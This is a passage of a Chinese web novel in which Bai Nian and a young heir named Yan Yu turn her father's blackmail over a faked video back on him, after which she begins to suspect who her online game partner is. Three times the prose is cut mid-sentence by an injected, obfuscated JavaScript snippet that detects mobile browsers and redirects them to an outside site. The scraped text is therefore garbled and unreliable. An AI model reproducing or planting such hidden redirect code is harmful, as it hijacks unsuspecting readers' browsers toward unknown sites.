严季淮不着痕迹地收了下自己被拍的腿,闻言半眯了眼,轻声道:“是么?” . 唐氏集团,严禹去而复返。 他刚才在楼下走到一半,路过一家按摩仪器店,眼睛落在橱窗最前面的肩颈按摩仪上,突然回想起唐雅回到家总是喜欢揉肩膀的动作,他的脚步顿了一下。 十分钟后,他拎着大大的盒子踱步回了唐氏,伸手按下电梯上行键,准备把东西送到唐雅办公室去。 电梯来得很快,他跨了进去,转过身来,按下最高层的按钮。 电梯门缓慢合上,将要彻底关上的一瞬间,他看到前台慌慌张张从远处奔来,嘴里喊着什么,似乎是想要叫住他。 严禹伸出手去想要按住开门键,但电梯已经开始上行,他只能收回手。 自从唐榕川去世后,唐雅就把办公室搬到了最高层,用的是唐榕川在世时的董事长办公室,只是去了一些老人家风格的装饰,整体保留了端庄严肃的格调,严禹走进去把盒子放在她办公桌上,随意看了看,随后转身进了电梯准备下楼。 他想起暑假做办公楼设计时,白念说的话。 手机铃声匆匆忙忙响起,他抬手接起。 “妈。” “阿禹,你去我办公室了?”唐雅的声音有点喘,像是匆匆忙忙跑出来打电话一样。 “嗯,路过,给您买了个按摩仪,放在办公桌上了。” “……好,要走了吗?”唐雅问。 “嗯,要回学校了。” “好好,快去吧,路上小心。”唐雅声音稳了下来。 “嗯,再见。” 挂断电话,他抬起眼,静静地看着光滑的金属厢门上倒映出来的自己,良久之后,他举起手机看了眼这个来得极其匆忙的电话,抬手按下了18楼的按钮。 那是唐雅在唐氏的旧办公室。 这层楼没什么人,走廊的灯未开,采光完全借助单侧的玻璃窗,严禹慢慢走到已经无人使用的办公室门口,抬手扶上了冰凉的金属把手。 是个六位数的密码锁。 他伸出手指,缓缓按下一串数字。 咔嗒。 门开了。 66. 第 66 章 九月二十号,下午三点,唐氏旗下朗斯酒店。 白念跟着白晟林进入商务大厅时,严禹正坐在主办方的席位上,垂着眼不知道在想什么。 这是白念第二次看见他穿正装,上一次是暗灰色条纹,看起来气质冷峻成熟,今天他换了身低饱和的灰蓝色西装,搭配白色衬衫,多了些属于年轻人的清隽闲适。 白晟林朝严禹的方向看了两眼,低低地催促了她一声:“快去,你今天陪着他就行了。” 白念微微侧身避开白晟林暗戳戳推她的手,惹来他“啧”了一声:“你这孩子。” 不过眼看白念还是理了理裙摆往严禹那边走去,白晟林颇为满意,没有在意这个女儿偶尔的一点点忤逆。 白念今天穿的是一条绸缎质感的吊带白裙,长度刚刚到脚踝。她原本想穿舒适的衣裤,奈何那两口子觉得这样的场合她这一身太过随便,硬是让她换了条裙子。 踩着周淑华丢给她让她穿上的细高跟,白念不置可否地撇撇嘴。 再演多一会儿的事情罢了,懒得争辩。 大厅地板上铺着柔软的地毯,对尖细的鞋跟来说却不是很友好,她略微有些摇晃着往台下走去,引来不少人侧目。 今天依然是商务沟通和酒会相结合的模式,会场里男性大都西装革履,女性也都是礼服高跟的装扮,但白念一出现,还是显得格外惹眼。 在座的大部分是职场摸爬滚打下来的,她在其中就显得格格不入,非要形容的话,就是不同于各怀心事的众人,气质非常……干净,再加上一袭简约的白裙和那张让人移不开眼的脸,一时间许多人的目光都定在了她的身上。 这样细碎的动静终于引起严禹的注意,他抬起头来,看到的就是这样一幕。 白念尴尬地笑了下,朝他挥手打了声招呼:“嗨,师兄。” 男生的愣怔不过半秒,他很快察觉到白念行走间的不便,立刻从座位上站起来,快步走到白念身边,伸出手臂给她:“扶着我。” “谢谢。”白念松了口气,轻轻搭上他的小臂,借力稳稳地走到严禹的座位旁坐下,男生站在她身边,眼神从她露肤度极高的上半身略过,不着痕迹地移开目光,把身上的外套脱了下来,披在她的肩上。 白念顿了一下,严禹开口解释道:“人多,冷气开得很低。” “……谢谢。”白念感激地笑了下,后知后觉地摸了摸自己手臂上轻微的鸡皮疙瘩。 会场里围观的人眼看着她走到严禹身边坐下,还穿上了他的衣服,都纷纷转过头去看携白念进来的白晟林,一时间捉摸不透他们的关系,窃窃私语。 白晟林把一切看在眼里,低下头去抬起手轻咳一声,掩住嘴角压不住的得色,他举起自己席位上的水杯,以水代酒遥遥地敬了严禹一下,神色恭谨又热情。 严禹眼神从他脸上略过,轻轻颔首。 商务环节很快开始,首轮入围的二十家单位依次上台,白晟林排在倒数第二个,他缓步上台,昂首挺胸地清了清嗓子,放出了自己的项目企划案,一个是首轮就亮相过的住区开发,另一个就是前几天日夜兼程赶出来的酒厂策划案。 “本项目位于云城昭市,地处赤水河源头,众所周知,赤水河是我国水源条件最好的长江支流,在昭市进行酒厂开发,有着得天独厚的资源优势。另一方面,白酒产业正处于调整期,开发新品牌,形成葡萄酒产业链,抢占过渡期的市场份额……” 尽管白念很讨厌他,但不得不承认,白晟林是有两把刷子在身上的,短短一周的时间,他就跑到云城北边的小县城和相关部门沟通了合作意向并出具了详细的策划书。 不过,那又怎么样? 从他们夫妻俩亲手将她作为物品放到利益的天平上时,她就释然了。 随着白晟林发言结束,最后一家单位的发言人也走了上来,相比于前者,此人的面色却显得有些沉重,台下参选的人都有些疑惑,这家似乎是首轮排名最高的一家单位。 不过很快大家就知道是为什么了。 台上面色严肃的中年男人打开策划案,标题明晃晃地映入眼帘:桂城赤水源酒厂开发案。 台下一片哗然。 怎么就这么巧!两个不同省的单位,不约而同地选择了同一个类型的项目,而且打的旗号都是一样的! 白念看了眼台上额头渗出隐秘细汗的男人,凑过头去小声问严禹:“师兄,这样对这家公司是不是不太好啊。” 那晚赴宴回校之后,她凭借着白晟林席间和严禹谈论的只言片语,翻了整整两天的资料,初步估算了白家公司的资金情况和项目来源,最后又研读了半宿的国家相关开发政策,精心为他准备了这样一个完美的项目选题。 当她把自己的想法告知严禹时,男生先是愣了下,随后意味深长地笑了下,白念这才知道,首轮已经有桂城的企业拿出了相似的提案。 “有没有人说过,”那时严禹眼神里全然是欣赏,“你很有天赋。” “你是第一个。”白念扑哧一笑。 怕影响到这家公司,她本来准备换个方向,严禹却说不用,按她自己的想法来就行。 此刻严禹微微倾身靠近,声音也跟着她放低,语带笑意:“要是这都能被比下去,那也没有选择他的必要,放轻松。” 白念盯着台上的男人,他看起来准备得很充分,汇报比起白晟林的毫不逊色,甚至由于准备充分的原因,后续的具体规划也很充分,听得台下的竞争对手都频频点头认同。 她突然觉得严禹说的也有道理,扭过头来笑了下:“也是。” 两人为了听清彼此的话,两颗脑袋凑得很近,他比她高出一些,白念说话时的气息轻轻地扑在严禹的脖颈处,轻柔,温热,他眼神下移至女生弧度好看的唇,喉结滚动了一下。 白念毫无知觉,思绪里全是台上的事,她看了眼台下脸色微变的白晟林,又扭过头来,把头压得更低:“你说他看到桂城的方案这么完善,会不会急?” 半晌没有听到回答,她抬起头来,正好对上了严禹深邃的眼神,她伸出手在他眼前晃了晃:“师兄?” 发呆的男生回神,轻轻地别过脸去,深吸一口气,抬起手拽了下领带,借着这个动作,用拇指重重地擦了下发痒的颈侧,才找回声音:“有可能。” 果不其然,白念的手机下一秒就响起,是白晟林叫她。 白念眨了眨眼站起来:“该做的都做好了,看戏就好。他叫我,我过去一趟。” 严禹目光移到她站起来摇摇晃晃的细白脚踝上,皱了皱眉:“等下。” 他给她拿来一双一次性拖鞋,白念抬眼看了下四面八方的人,有些迟疑:“好像不太合适……” “穿上,”他声音沉沉,“不用管别人。” 白念妥协了,套上拖鞋的一瞬间,她酸痛的脚掌终于舒缓下来,虽然是一次性拖鞋,但是质感还不错,她晃了晃脚,终于不用再忍受细高跟的折磨,弯起嘴角:“谢谢师兄。” 严禹看了眼焦急地盯着他们看的白晟林,收回眼神:“去吧,走慢点。” 白念踢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450430|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踢踏踏地晃悠过去,白晟林看了眼她的鞋,想说什么又忍了下来,正事要紧。他伸出手,语气紧迫:“密码。” 白念一副懵懂模样:“怎么了?” 男人看了眼远处对着台上鼓掌的严禹,眯了眯眼:“给他敲敲警钟。” 白念抿了抿唇,犹犹豫豫地说出一串数字,白晟林立刻急不可耐地输了进去,解锁后面的视频。 台上流程已经结束,各位专家在打分投票,他着急去看,拖动着进度条往后看了几眼,画面中人影交缠,画面逐渐变得不可描述,他脸色稍微缓和下来,匆匆确认过后就收了起来,抬头去看专家评审。 白念冷眼看着这一切,看到自己的父亲面对女儿这样不堪的视频,眼神里没有半点不适,只有赤.裸.裸的衡量,算计,审判。 她垂下眼睛,静静地忍着胃里的翻腾。 投票结果已经存证完毕,主持人上台公布入选名单。 最终入围名额一共有五个,女主持声调平和清晰,从第五名依次公布最终得分和专家评审意见,白晟林屏着呼吸认真听。 第五名,没有他。主持人在转述评审意见,他握了握拳,看了眼同时向他看过来的严禹,男生给了他一个微笑的表情,白晟林定了定心。 第四名,没有他。白晟林呼吸重了些,他拨通严禹的电话:“严公子,应该不会出什么纰漏吧,咱们可是合同都签了。” 严禹声调懒懒:“什么纰漏?” 白晟林原本只是确认一下,严禹这不答反问的态度反而让他感到一丝怪异,这些天来,自从他给严禹发了那天晚上酒店视频的前半段来,他一直很配合,压根没问他要后半段。 虽然他真的没有。 但他现在有了。 “您说呢?”白晟林咬着牙笑,维持住体面。 “别急,流程正在进行。”严禹把电话挂了。 主持人在念第三名,白晟林屏息凝神,依旧不是他。 他冷冷地注视着远处矜贵懒散的背景,心中怪异感越来越压不住,他深吸一口气,把从白念那里要来的视频做成链接,发到了严禹的手机上,又给他打电话。 严禹低下头看了看手机,突然回过头看他,白晟林从他眼中看出一丝震惊和惊讶,确幸自己赌对了,他重新拨通电话:“我们应该是一条船上的,严公子,还有两个名额。” 男生似乎是对这个新的视频措手不及,突然转头看了眼白念,白晟林顺着他的视线看回来,自己的女儿冲着严禹绽开一个轻柔的笑意,摸了摸鼻子,像是在表达自己的歉意。 严禹看了两秒,收回目光,对着手机道:“我知道的。” 随后他又抬起头来,低声说了句:“放心。” 目光看向的是白念的方向。 白晟林没精力去思考其中的不一样,他的目光全然扑在严禹身上,看他挂断电话招招手,叫来台边的工作人员,低声和她说了什么,白晟林攥着拳看着这一切,松了口气。 台上主持人在公布第二名,依旧不是他,但话说到一半被工作人员打断了,女主持说了声抱歉往台下走去。 白晟林眼睛一亮,看着女主持听完传话回到台上,笑容满面地说:“今天的第一名,与我们建设公司的发展理念十分契合,他们的项目主导方向是——红酒产业!” 白晟林握着手里的视频,闭上眼睛缓缓地舒了口气。 “让我们恭喜!桂城开发投资公司!拿下本次项目竞选第一名!” 他不可置信地睁开了眼睛:“不可能!” 67. 拥抱 白晟林这一声失态的大吼,吸引了场上所有人的目光,他顾不上这些,快步冲到严禹面前站定,伸手就要去扯他要个说法。 白念穿着拖鞋紧跟着冲过去,想要阻止他碰到严禹,但是男生反应更快,伸出手一把钳制住了白晟林颤抖的双手,一旁的保安眼疾手快地按住了他,严禹下巴轻轻抬,示意人把他带离了会场。 围观的人注意力大部分在项目入选名单上,就算自己没中,从名单上也可以探探唐氏发展的风向,白晟林这样入选失败破防的场面虽然狼狈,但也不是不能理解,很快,这个小插曲就过去了。 商务环节平稳结束,严禹谢绝了很多人想要上来敬酒的意思,拉着白念先行离开。 白晟林正在酒店外和阻拦他进去的保安作斗争,看见他们俩走出来,立刻想要冲上来,保安要抓住他,白念却伸手阻止:“谢谢,不用拦他了。” 保安看了眼严禹的神色,见他没有异议,点了下头退了回去,留下三个人对峙。 白晟林呼吸颤抖:“严公子,你这是什么意思,你答应过会让我入选的。” 严禹挑了下眉:“有吗?” 白晟林呼吸一滞,见他突然赖账,再也维持不住表面功夫:“严禹,你别忘了我手里有什么。” 严禹刚想说什么,突然看见一旁的白念往前走了两步,他收回想说的话,将此刻的时间交给她。 这一刻,理应属于她。 白念问:“是吗,你有什么?” 男人转头看向自己的女儿,发觉她神态安然。他眼神冷下来,这几日伪装的慈爱荡然无存:“白念,我给了你攀高枝的机会,你吃里扒外?你以为毁了我的项目,你就能和他好好的?没有白家做依仗,你算什么东西。” 白念闻言嗤笑了声:“那白家又算什么东西?” “你!”白晟林气急,伸手去掏自己的平板,两下划拉到中间,把屏幕里白晃晃交缠的两个人影怼到两人面前,“你不会忘了自己做过的事吧?你们的把柄还在我手里,只要我把这个放出去,你们——” “哦……”白念遗憾地啧了一声打断他,“你要不看看里面是谁?” 男人看她好整以暇的模样,猛地把屏幕收了回去,放慢速度仔细看了两眼,瞳孔骤缩,不可置信地又前后扒拉了几遍:“这不是你们,这是谁!” 他怒吼的声音太大,白念揉了揉耳朵:“专门开了会员给你下载的,你要是喜欢,账号给你自己去看,海量。” 一旁的严禹:…… 白晟林气疯了,他反复去确认视频的开头,确信自己眼神没出问题:“这明明就是你们……” 白念此刻十分有耐心:“P的,想学吗?我教你啊。” 其实是严禹配合她拍的,毕竟随意P别人的视频不太道德。 那天游戏里的洞房给了她灵感,第二天她找到严禹,让他吃午饭的时间配合她拍了个开头,虽然严禹那时的表情十分复杂,但还是照做了,简单地拍了个走进酒店的画面。 而后面解下肩带的画面,是丁菲菲同志借位友情出演。 出场费三顿火锅,特辣口味。 不过这些白念懒得说给白晟林知道,她只要看见他气急败坏就好了。 男人反复确认自己真的被耍以后,又去翻另一个视频,那天晚上严禹被下了药的视频。 他猛地把屏幕举到两人面前:“这个你们总不能否认吧!千真万确!” 白念看了眼画面,是从严禹抱起她离开座位开始的,笑意更深:“你怎么不把开头和后续放出来呢?” 白晟林本就底气不足,掏出这个纯粹是没有底牌了,他心虚地咽了下口水:“你什么意思?” 白念晃了晃手机,给白晟林发了个链接,男人迟疑着点开,里面赫然是他们俩趁白念和严禹出去之后下药的画面,他颤抖着唇:“你们怎么会有这个!” 一旁的严禹声音冷淡:“一个短路的监控头,技术恢复一下很难吗?” “所以是你们故意弄坏的?……”白晟林脸色惨白,听懂了这句话背后的意思,原来他自以为用不存在的“后半段”拿捏了两人这么久,在他们眼里就是一个笑话。 他腿上发软,几乎站立不稳,电话突然响起,是周淑华打来的,他突然不敢去接。 白念眼尖,大发慈悲地帮他点了接听,开了扬声器,凑到他耳朵上。 “老公,事情结束了吗?还顺利吧,昭市那边联系不上你,打到我这边了,他们来人催款,说施工队已经入场了。喂?人呢?” 白晟林突然想起什么,一把夺过自己的手机,拿出包里的合同:“严禹!你别忘了我们两家公司签过合同的!就算我没有入围,这个项目我们也照做不误!” 严禹淡淡地笑了下:“那你试试。” 闻言,白晟林拼命去翻合同,试图看清每一个字,看看哪里有问题,奈何他手越来越抖,字迹变得模糊不清,急迫之下他终于崩溃,怒吼一声把手里的东西摔在地上,人也跟着跌跌撞撞坐了下去:“为什么!” 又指着白念的鼻子痛喝:“为什么!白念,你没有良心!我把你养这么大,你就是这么报答我?!” 白念看他涕泗横流的样子,突然间觉得意兴阑珊,她居高临下地俯视着跌坐在地上的男人,没有感情地笑了一下:“我早就跟你说过,我和你们再也没有任何关系,是你们,非要找死。” 说完这句话,她没有再看一眼濒临绝望的男人,转向严禹,声音轻飘飘:“师兄,我们走吧。” 严禹看了眼她的神色,声音放轻:“好。” 白念点点头,下意识拢了下身上的外套,踢了踢因为穿着拖鞋有些拖地的裙摆,转身离开,任凭地上男人嚎哭,再不回头。 严禹刚想跟上去,突然被地上的人一把抱住了右腿:“严公子,救救我!求求您救救我!” 他抬头看了眼已经走远的白念,停了下来,垂下眼睛俯视白晟林,腿上汗湿黏腻的触感让他声音极冷:“我为什么要救你?” “是我错了,我不该动歪心思给您下药!是我错了!”男人紧紧攥着他的裤腿不放,声音急迫又颤抖,“您大人有大量救救我!我把全部的身家全都抵押投在这个项目上了,我会死的!” 眼见严禹面无表情地沉默着,白晟林一迭声道歉:“我不该威胁您!是我有眼不识泰山,我错了!” “不三不四。”严禹骤然开口,表情讥诮。 白晟林愣了一下,“您说什么——” 他眼神发直,本该混乱的脑子里突然涌现出他们在网吧门口的那一幕,他指着白念的鼻子:“你在跟什么不三不四的人来往!” 白晟林脑中突然一片轰鸣。 原来,严禹不是没有认出,他一直都记得。 原来,从再次见面的那天起,他就一头钻进了为自己织就的囚笼之中。 他抽搐似的倒吸了两口气,突然将头往地上重重一磕,在硬实粗糙的砖石上硬生生叩出闷响:“对不起!我不该眼瞎得罪您!您宽宏大量——” “你不是不该得罪我。”严禹又开口,白晟林连忙昂起脖子,丝毫不在意自己额头的红肿,点头如捣蒜,只看见俯视着他的男生面容隐在烈日之下,晦暗如修罗,他下意识将手松开了一些。 “你是不该伤害她。”他声音沉沉。 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465546|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晟林脑中一片空白,磕在地上的额头突突跳痛,他迟钝地消化着严禹的话,严禹嫌恶地拨出腿来,皱着眉看了眼自己被碰过的裤腿,转身就走。 在这样混乱的思绪中,男人终于后知后觉地察觉到严禹话里背后的意味和重量,他目光中燃起一丝希冀。 她……白念……白念!是不是白念开口,严禹就能放过他! 他不知从哪里生出的力气,就要摸索着从地上爬起来,去追现在唯一能救他的白念。 大步往前走的严禹突然转过身来,盯着他一字一顿:“滚出晋城,不要再找她,否则她放过你,我送你去坐牢。” 唯一的希望破灭,白晟林再次瘫软在地上,声嘶力竭的哭喊一瞬间被掐灭在喉咙,手机里的通话一直未断,此刻安静下来,里面传来女人虚弱犹疑的质问:“老公,你们刚才说的……是什么意思……” 男人没有回答,他目光空洞地看向视线中的虚无,缓缓跪伏在地上,身影萎靡,脸色灰白。 犹如一条落败的丧家之犬。 . 白念并没有走得很远,她穿着拖鞋,手里抱着严禹的西服外套,闲逛一般的速度,静悄悄沿着地砖笔直的纹理往前踱步,严禹很快追上了她。 并肩的一瞬间,他下意识去看她垂着头的神色。 白念听到动静抬起头来,对上他担忧的视线,扑哧笑了一声:“怎么这么看我,我没事的。” 严禹目光依旧专注,白念无奈地摊了摊手,笑容明亮:“真的,我没有那么脆弱……早就难过完了。” “嗯,”他回答得认真,“很厉害。” 她今天随意绾了个低垂的发髻,也许是时间久了的缘故,有些边缘碎发散落下来,随着她扭头微笑的动作轻轻擦过裸露的肩膀。 白得刺目,黑得耀眼。 “怎么不穿外套,起风了。”他问。 “想吹吹风……”白念这才想起自己手里抱着的衣服,抬手就想递给严禹物归原主,然后又想起什么似的收了回来:“那什么,我洗干净了再还你吧。” 严禹却伸出手来,掌心递到她面前:“没事,给我吧。” “……”白念有点为难地捧着外套,严禹干脆伸长手将外套轻轻扯走了,随意地往自己肩膀上一搭,弯了弯嘴唇:“真的没事。” 白念不好意思地咬了下唇又放开,饱满的唇瓣上血色消失又回弹,夕阳下女生的脸庞生动而美好。严禹目光落在她的唇角,呼吸陡然沉重。 这样和她平静相处的时光,半个月为期,已经开始以小时为单位倒计时。 肩膀上的外套还残留着温度,鼻息间传来白念身上浅淡好闻的气息,轻而易举地抚平了他刚刚被其他人碰触过、强忍着的不适。 他闭了闭眼,突然觉得自己像一个小偷。 一个偷来幸福时光的小偷,快乐又忐忑地等待着头顶的闸刀落下。 嘴边的话滚了又滚,终究忍不住脱口而出:“在我面前,你永远不需要在意这些。” 白念的脚步微微一滞,下意识向身侧的男生看去。 他一直是绅士的。 她听他说了太多的“没事”“没关系”“都好”,但是这句话似乎是不一样的意味。 察觉到白念探究的视线,严禹第一次不闪不避,认真地抬起眼睛与她对视,目光灼灼。 里面的意味太过强烈,强烈到白念忍不住开口:“师兄你……” “别说话。”严禹突然出声,这是他第一次以几乎不容反驳的口吻对她说话,白念愣了愣,然后便听见他轻轻一声喟叹,径直伸出双臂,蓦地将白念圈到了自己怀中。 他抱住了她。 68. 撞破 晋城美视电影学院,播音系。 江知玥刚刚下课,正和朋友一起走回寝室,老远就看到熟悉的身影早早地等在了她们楼下。 一旁的朋友一脸揶揄地戳了戳她的手臂:“玥玥,你看谁来了。” 她一抬头,就看见了前面一脸温柔笑意的林彦希,看到她的第一时间,就笑着举了举自己手里的纸袋,里面是她最喜欢喝的那家奶茶。 “哟哟,好用心啊,开学以来天天都来给你送东西,还陪你吃午饭……理工大学离我们可不算近哦,”朋友满脸八卦地凑近,“你俩什么时候官宣啊?” 江知玥笑着横了她一眼:“别乱说,这是我发小,最近我心情不好,他陪陪我而已。” 说完扬起手臂朝男生挥了挥手,脸上溢出开心的笑,提起腿小步跑到林彦希身边,接过了他的纸袋:“走吧,今天吃什么?” 男生伸出手,轻轻拍了拍她因为跑步翘起来的短发:“昨天不是说想吃寿司么?” “好。”江知玥点点头,边走边打开纸袋:“今天是什么口味的啊……” “玥玥!” 正要把奶茶拿出来,背后突然有人喊他俩,江知玥抬起头来,就看到一个女生走过来,笑着跟她打招呼。 这个女生家里和她家有生意往来,因此她们算得上熟悉,江知玥也笑着点点头打招呼:“好久不见了。” 女生看了眼她旁边的林彦希,三人都是认识的,正好同一个方向,干脆挽起江知玥的手臂边走边聊,闻言笑了下:“哪有好久,昨天我在唐氏的酒会上看到你和严禹了,只是没来得及打招呼你们就走了。” 听到熟悉的名字,江知玥眼睛缓慢地眨了下,没反应过来:“昨天我在家里啊……” 女生“咦”了一声:“那我看到的女生不是你?” 江知玥眼皮一跳,还没来得及说话,一旁的林彦希突然开口提醒她:“一会儿奶盖要化了。” 她连忙低下头看了眼自己举着的杯子,有点慌张无措地要去拿吸管,男生垂下眼睛伸手接了过去:“我帮你。” 一旁的女生自顾自说话:“我懒得下去应酬嘛,就一直在露台上坐着,快要结束的时候我才看到严禹带着个女生出门,看起来还很亲密,我以为是你呢。他还抱了那个女生一下……哎,我室友来了,我走啦,下次见!” 说完放开江知玥的手,挥挥手道别。 林彦希已经帮江知玥插好吸管,递到她的面前,她没有接,眨着眼睛发愣。 男生抿了抿唇,晃了晃手里的东西,江知玥才反应过来,看到举到自己面前的她最喜欢的奶茶,突然没了胃口:“不想喝了,寿司……也不想吃了。” 男生攥着杯子的指尖猛然收紧,冰凉的液体溢出,唤回他的理智,他不动声色地收回手,将被他毁坏的奶茶连同纸袋一起丢进了旁边的垃圾桶:“不想喝就不喝,你想吃什么,我们换一个。” 江知玥却蓦地抬起头来,眼眶微红:“我想去找他,问个明白。” . “念念?” 一双手在白念眼前晃了晃,白念猛然回神,看到了菲菲凑在自己眼前放大的脸。 “你怎么啦?昨天出去一趟回来以后就特别不对劲。”菲菲疑惑道。 白念看着眼前因为自己不操作已经暗下去的屏幕,里面模模糊糊倒映出她严肃的神情,她轻咳一声,晃了晃鼠标点亮屏幕界面:“没事,可能昨晚没睡好。” “哦……”菲菲点点头,眼神回到白念的屏幕上,上面是一个被点开的微信主页,上面的头像是一轮落日,她凑近了些,“这是谁呀……” 白念下意识合上电脑屏幕:“……没谁。” 丁菲菲:……这位同学你真的很欲盖弥彰。 不过她没有说什么,伸了个懒腰回自己座位了。 白念看了眼不疑有他的菲菲,再次伸手点开了严禹的微信头像,手指在键盘上犹犹豫豫,半晌还是放弃,捂着眼睛趴了下去。 他昨天为什么……要抱她啊…… 她并不是什么都不懂的人,就算之前严禹对她的每一次关心和体贴,都可以解释为他的善意和礼貌,但这个拥抱,白念无论如何都无法强迫自己装作什么都没有发生。 因为彼时他把她重重地圈在怀里,白念避无可避地听清了那温热的胸膛里,心跳剧烈如擂鼓。 她那时是什么反应? 大约是太过震惊,白念已经忘了自己当时在想什么,严禹身上干净好闻的气息连同强烈真实的心跳一起侵占了她的思绪,她思绪混沌,什么也没做,什么也做不了。 她只是静静地任他抱着,直到他自己深吸一口气将她放开,扯开一抹令她读不懂的笑,温柔又晦暗,然后哑声说了句,再见。 再见? 其余的他什么也没说,恰恰因为什么也没说,白念才不知道要怎么办,不知道自己为什么没有立刻推开他。 她一直知道他很好,也将他视作可以信任的人,可是其他的…… 她不知道以后怎么面对这样一个重要的人。 白念此刻心乱如麻,将头埋在手臂里半天,也没有想出个其所以然,纠结了良久,终于抬起脸来,颓然地叹了口气,放弃思考。 手机突然响起,白念懒懒地抓过来看了一眼,突然坐直起来。 是她之前的设置的日历备忘,十五天以前,风不语说,半个月之后来见她。 白念吸了口气,突然觉得情绪有些复杂。 她关掉看了许久的微信页面,登录游戏,看了一眼好友列表,风不语不在线。 白念这才发现,他们只是做了这么一个极其简单的约定,再也没有其他。 他什么时候来找她?他要怎么找到她?见到以后要说些什么? 一概不知。 白念看了眼右下角的时间,已经下午一点了,她诡异地松了口气,放下鼠标,头疼地捂住脸。 她现在脑子有点乱。 消息亮起,仗剑居然在线,邀请她组队,白念想了想,还是点了进去,仗剑放光芒和慢性怪人在,两个人和她大眼瞪小眼。 “嫂子,刷日常本吗,你的朋友呢?”仗剑问道。 白念拉开好友列表看了一眼,正巧,夏星刚刚上线,她给人发了个组队邀请。 夏星一进队就开麦:“姐姐!我们去做什么!” 【队伍】【早睡身体好:日常一条龙,你做了吗?】 夏星:“还没呢,你们呢?” 加入公会的时候夏星做了自我介绍,仗剑趁机套近乎:“小星星,咱们队里的日常都有我带队,以后你跟着我就行嘿嘿,有肉吃有汤喝!” 夏星对白念的朋友有种天然的信任,闻言很是捧场,脆生生应道:“好呀!” 仗剑干劲十足,带着三个人就往副本入口走,白念看了眼队伍里空出的位置,犹豫了半晌,还是问了句。 【队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495658|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伍】【早睡身体好:他呢?】 “我哥啊,”仗剑熟练地开启任务,边打边回答,“好像有人来找他,接了个电话出去了。不用管他,他经验道具都满了,做日常就是帮我们凑个人头而已嘿嘿。” 白念没有再问,倒是夏星是个小话痨,干脆抓了白念唠嗑:“姐姐,你开学了吗,我上周刚入学,这几天军训累死啦。” 【队伍】【早睡身体好:嗯,我已经回校半个月了。辛苦啦,好好放松下。】 “这么巧?”仗剑带队极其无聊,闻言插话,“我们也开学半个月了。” 白念愣了一下。 晋城大学的假期一向比较短,算是晋城里最早一批开学的,她脑子缓慢地转着,开始思考有哪所大学和她们差不多一起的。 “是吗?你是哪个学校的呀?”夏星好奇,她倒是知道白念的学校。 “晋城大学,嘿嘿,不过我们马上要毕业了,小星星你呢?”仗剑和人聊得不亦乐乎。 白念的思考戛然而止。 仗剑和夏星就大一的苦逼军训开始展开激烈讨论,白念左耳进右耳出地听了半天,看了眼依然毫无动静的风不语,有种奇异的直觉,驱使着她敲下问句。 【队伍】【早睡身体好:仗剑,你们专业,是学什么的?】 “我们啊,建筑狗,”仗剑夸张地配了个泣音,“画图画到两眼发黑的那种。当然了,禹哥除外,他不是正常人。” 白念脑子轰的一声。 许多她曾经忽略的细节涌上心头。 熟悉的声音,一样的温柔,以及许多的欲言又止……还有那天同步的提示音。 白念甩了甩头。 万一她想错了呢? 她没有再问下去,也没有再想下去,匆匆说了声自己要挂机吃个饭,抓起手机跑出了寝室。 中午的阳光刺眼,白念漫无目的地晃到晋云湖畔,随便找了长椅坐下,盯着手机里万古令上和风不语的对话框沉默。 “喵呜~”一声熟悉的细小叫声从脚底传来,白念低下头去看,是上次她喂过的小黑猫,好像认出了她一般,亲昵地走过来蹭她的裤腿。 烈日下小猫的瞳孔缩成一条线,露出浅绿的眼睛来,可爱地眯了眯眼以示亲切,白念收起手机,弯下腰去,试探着碰了碰它毛茸茸的脑门。 小猫立刻回以更热烈的顶蹭,小小的身躯迸发出大大的力气,几乎要把自己的脑袋揉进白念的掌心。 白念心都快化了,脸上笑意温柔,声音低低地道歉:“对不起,上次骗了你,我不是不喜欢小猫咪,我那时只是觉得自己不能承担责任……” 那时的她恨着白家所有人,觉得自己像一棵虚无缥缈的浮萍。 现在……许多希望都有了未来。 小猫听不懂,只是喵呜一声,径直跳上了白念的腿,往她怀里躺。 白念轻轻地揉着它,指尖划过一道粗糙的起伏,低下头一看,是个已经结痂的伤口,干涸的红褐色血迹清晰可见,她手指僵了一下,轻轻避开伤口,看着怀里对她毫无防备的小猫,突然开口:“我给你找个家吧。” 小猫翻了个身,呼噜声很响,白念笑了下,纷繁的思绪蓦然安定下来,她轻轻抚摸着手里的毛茸茸,闭上眼睛。 直到不远处传来清晰的声音,打断了白念的放空。 “找我什么事?” 熟悉的低沉悦耳的男声。 白念睁开了眼睛。 69. 掉马 没等白念有什么反应,另一道女声就随之传来。 “我不甘心。”女生说。 白念眨眨眼睛,这声音有点似曾相识,但是她一下子想不起来。 